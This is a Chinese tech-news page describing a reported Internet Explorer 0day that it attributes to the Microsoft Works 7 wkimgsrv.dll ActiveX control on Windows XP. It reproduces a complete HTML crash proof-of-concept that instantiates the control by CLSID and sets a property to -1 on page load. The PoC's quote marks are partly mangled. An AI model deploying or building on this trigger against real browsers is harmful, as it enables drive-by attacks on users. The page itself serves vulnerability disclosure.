当前位置： 移动技术网 > 网络运营>安全>漏洞 > IE 0day漏洞 问题出自MS Works

IE 0day漏洞 问题出自MS Works

2019年05月26日  | 移动技术网网络运营  | 我要评论
近几天网络上流传着一个传说为ie0day的poc代码，在xp系统环境下通杀了ie6和ie7，其它系统并未经过测试。其实这个漏洞并不是存在于ie，而是microsoft works的组件被挖掘出漏洞，部分的xp预装了microsoft works，所以就出现了过全补丁系统的漏洞（如华硕易pc 就预装了microsoft works）。
　　影响的dll版本：microsoft works 7 wkimgsrv.dll （7.03.0616.0） 　　以下为crash poc 　　<html>
　　<head>
　　<title>microsoft works 7 wkimgsrv.dll crash poc</title>
　　<script language=”javascript”>
function payload() {
var num = -1;
obj.wkspictureinterface = num;
}
　　</script>
　　</head>
　　<body onload=”javascript: return payload();”>
　　<object classid=”clsid:00e1db59-6efd-4ce7-8c0a-2da3bcaad9c6′ id=”obj”>
　　</object>
　　</body>
　　</html>

您可能感兴趣的文章:

如对本文有疑问，请在下面进行留言讨论，广大热心网友会与你互动！！ 点击进行留言回复

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网